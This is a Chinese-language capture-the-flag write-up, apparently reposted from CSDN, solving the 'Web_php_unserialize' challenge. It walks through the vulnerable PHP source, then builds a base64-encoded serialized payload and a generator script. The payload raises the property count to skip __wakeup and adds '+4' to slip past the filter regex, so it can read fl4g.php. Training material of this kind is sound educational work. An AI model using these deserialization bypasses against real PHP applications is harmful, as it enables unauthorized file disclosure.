攻防世界之Web_php_unserialize(web进阶)

题目:Web_php_unserialize

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
    
     
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) {
    
     
        die('stop hacking!'); 
    } else {
    
    
        @unserialize($var); 
    } 
} else {
    
     
    highlight_file("index.php"); 
} 
?>

下面开始分析代码:

知识点:

 1、构造函数  
 	__construct();//当对象被创建时,将会自动调用对象中的construct()函数。
 2、析构函数
 	__destruct();//当对象被销毁时,将会自动调用对象中的construct()函数。
 3、魔术方法(之一)
 	__wakeup();//当进行反序列化时将自动调用这个函数。
 4、序列化对于不同类型得到的字符串格式为
 	string		s:size:value
 	int			i:value
 	bool		b:value;(保存为1或者0null		N
 	array		a:size:{
    
    key definition;value definition;(repeated per element)}
 	object		O:strlen(object name):object name:object size:{
    
    s:strlen(property name):property name:property definition;(repeated per property)}

具体分析:

class Demo {
    
     									//定义对象
    private $file = 'index.php';				//定义私有变量$file
    public function __construct($file) {
    
     		//定义构造函数,将会在对象创建是被调用,用于初始化变量$file
        $this->file = $file; 
    }
    function __destruct() {
    
     					//定义析构函数,将会在对象销毁是被调用。用于高亮显示$file所指向的页面的代码
        echo @highlight_file($this->file, true); 	
    }
    function __wakeup() {
    
     						//魔术方法,当对象被反序列化时调用,用于将$file变量的值统一为“index.php”
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
    
     						//判断是否有通过get方法传入的参数var,若有进入下一行,没有则跳转else。
    $var = base64_decode($_GET['var']); 		//将传入的参数var进行base64解码。
    if (preg_match('/[oc]:\d+:/i', $var)) {
    
     	//进行正交匹配,如果是以o或者c开头,后接“:”和一个以上的数字,则匹配成功,结束函数。
        die('stop hacking!'); 
    } else {
    
    
        @unserialize($var); 					//反序列化变量,并隐藏可能出现的报错。
    } 
} else {
    
     
    highlight_file("index.php"); 				//高亮显示index.php界面。
} 

所以,我们现在目标是将flag作为参数var的值通过get传入。
因为var一开始会进行base64解码,所以我们需要在最后阶段对var进行base64加密。
因为var接下来会进行正交匹配,匹配成功则结束函数,所以我们需要绕过这个匹配。
因为var接下来会进行一次反序列化,所以我们传入的应该是序列化后的内容,又因为,反序列化时会调用__wakeup()函数将传入参数改变,所以我们要绕过 __wakeup() 函数。
所以有:

class Demo {
    
     
    private $file = 'fl4g.php';
}
echo serialize(new Demo);	//序列化输出对象。

得到:
O:4:"Demo":1:{
    
    s:10:"Demofile";s:8:"fl4g.php";}

为了绕过 __wakeup()函数,所以我们可以将object size改的大一点以此来绕过该函数。

例如:O:4:"Demo":2:{
    
    s:10:"Demofile";s:8:"fl4g.php";}

为了绕过正交匹配,我们可以修改strlen,

例如:O:+4:"Demo":2:{
    
    s:10:"Demofile";s:8:"fl4g.php";}

为了应对解码,我们需要加密

base64_encode('O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}');

上传参数:
在这里插入图片描述
注意!这里有个小细节:私有类型在进行序列化后,会在变量名前后加上一个不可见的字符。
例:

class Demo1{
    
    
	private $file = 'fl4g.php';
}
class Demo2{
    
    
	public $file = 'fl4g.php';
}
echo(serialize(new demo1));echo("<br>");
echo(serialize(new demo2));echo("<br>");
var_dump(unserialize('O:5:"Demo1":1:{s:11:"Demo1file";s:8:"fl4g.php";}'));echo("<br>");
var_dump(unserialize('O:5:"Demo2":1:{s:4:"file";s:8:"fl4g.php";}'));echo("<br>");
echo(base64_encode(serialize(new demo1)));

在这里插入图片描述

在这里插入图片描述
所以这一题最好使用代码完成替换工作。代码如下:

<?php
class Demo{
    
    
	private $file = 'fl4g.php';
}
$a=serialize(new Demo);
$a = str_replace('1:', '2:',$a);
$a = str_replace(':4:', ':+4:',$a);
echo(base64_encode($a));
echo("<br>");

猜你喜欢

转载自blog.csdn.net/my_name_is_sy/article/details/125518307